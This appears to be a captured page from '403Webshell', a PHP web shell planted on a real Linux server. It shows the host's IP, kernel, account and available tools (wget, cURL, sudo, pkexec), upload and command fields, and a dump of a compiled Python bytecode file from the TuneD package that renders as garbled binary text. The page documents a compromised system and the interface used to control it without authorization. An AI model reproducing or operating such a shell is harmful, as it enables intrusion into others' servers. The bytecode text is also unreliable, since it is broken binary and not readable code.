403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/tuned/hardware/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/tuned/hardware/__pycache__/inventory.cpython-39.pyc
a

,�g��@sPddlZddlZddlmZdgZej��ZGdd�de�Z	Gdd�de�Z
dS)�N)�consts�	Inventoryc@s\eZdZdZddd�Zdd�Zdd	�Zd
d�Zdd
�Zdd�Z	dd�Z
dd�Zddd�ZdS)rz�
	Inventory object can handle information about available hardware devices. It also informs the plugins
	about related hardware events.
	NTcCs�|dur||_n
t��|_|dur(tj}|�|j�|_|durDtj}|rvz|j�|�Wnt	ytt
�d�Yn0|dur�t�}||_
d|_i|_dS)Nz�cannot set udev monitor receive buffer size, we are probably running inside container or with limited capabilites, TuneD functionality may be limited)�
_udev_context�pyudevZContextZMonitorZfrom_netlink�
_udev_monitorrZCFG_DEF_UDEV_BUFFER_SIZE�set_receive_buffer_size�EnvironmentError�logZwarning�_MonitorObserverFactory�_monitor_observer_factory�_monitor_observer�_subscriptions)�selfZudev_contextZudev_monitor_clsZmonitor_observer_factoryZbuffer_sizer�r�</usr/lib/python3.9/site-packages/tuned/hardware/inventory.py�__init__s$
zInventory.__init__cCs|z4ztj�|j||�}Wntjy0d}Yn0WnBtyvztj�|j||�}Wntjypd}Yn0Yn0|S)z9Get a pyudev.Device object for the sys_name (e.g. 'sda').N)rZDevices�	from_namerZDeviceNotFoundByNameError�AttributeErrorZDevice)r�	subsystemZsys_name�drrr�
get_device)szInventory.get_devicecCs|jj|d�S)z)Get list of devices on a given subsystem.)r)rZlist_devices)rrrrr�get_devices8szInventory.get_devicescCs�|j|jvrdStj}|jsJ|dkrJt�d|tjf�t�	tj�d}q|js^t�
d|�|j|jD]T\}}z|||�Wqjty�}z$t�d|�t�
|�WYd}~qjd}~00qjdS)NrzLDevice '%s' is uninitialized, waiting '%.2f' seconds for its initialization.���zoUnsuccessfully waited for device '%s' initialization, continuing with uninitialized device, problems may occur.z+Exception occured in event handler of '%s'.)rr
rZ!HOTPLUG_WAIT_FOR_DEV_INIT_RETRIESZis_initializedr	�debugZHOTPLUG_WAIT_FOR_DEV_INIT_DELAY�time�sleep�warn�	Exception�error�	exception)rZeventZdeviceZretry�plugin�callback�errr�_handle_udev_event<szInventory._handle_udev_eventcCs\t�d||f�||f}||jvr6|j|�|�n"|g|j|<|j�|�|j��dS)z7Register handler of device events on a given subsystem.zadding handler: %s (%s)N)r	rr
�appendrZ	filter_by�start)rr rr!�
callback_datarrr�	subscribeOs
zInventory.subscribecCs6|jdur2t�d�|j�|j|j�|_|j��dS)Nzstarting monitor observer)rr	rr�createrr#r%�rrrr�start_processing_events[s

z!Inventory.start_processing_eventscCs(|jdur$t�d�|j��d|_dS)Nzstopping monitor observer)rr	r�stopr)rrr�stop_processing_eventsas


z Inventory.stop_processing_eventscCsF|j|D]6}|\}}||kr
t�d||f�|j|�|�q
dS)Nzremoving handler: %s (%s))r
r	r�remove)rr rr&Z_pluginr!rrr�_unsubscribe_subsystemgs
z Inventory._unsubscribe_subsystemcCs^g}|jD]<}|dus||kr
|�||�t|j|�dkr
|�|�q
|D]}|j|=qLdS)z4Unregister handler registered with subscribe method.Nr)r
r.�lenr$)rr rZempty_subsystemsZ
_subsystemrrr�unsubscribens
zInventory.unsubscribe)NNNNT)N)
�__name__�
__module__�__qualname__�__doc__rrrr#r'r*r,r.r0rrrrr	s
c@seZdZdd�ZdS)r
cOstj|i|��S)N)rZMonitorObserver)r�args�kwargsrrrr({sz_MonitorObserverFactory.createN)r1r2r3r(rrrrr
zsr
)rZ
tuned.logsZtunedr�__all__Zlogs�getr	�objectrr
rrrr�<module>s
q

Youez - 2016 - github.com/yon3zu
LinuXploit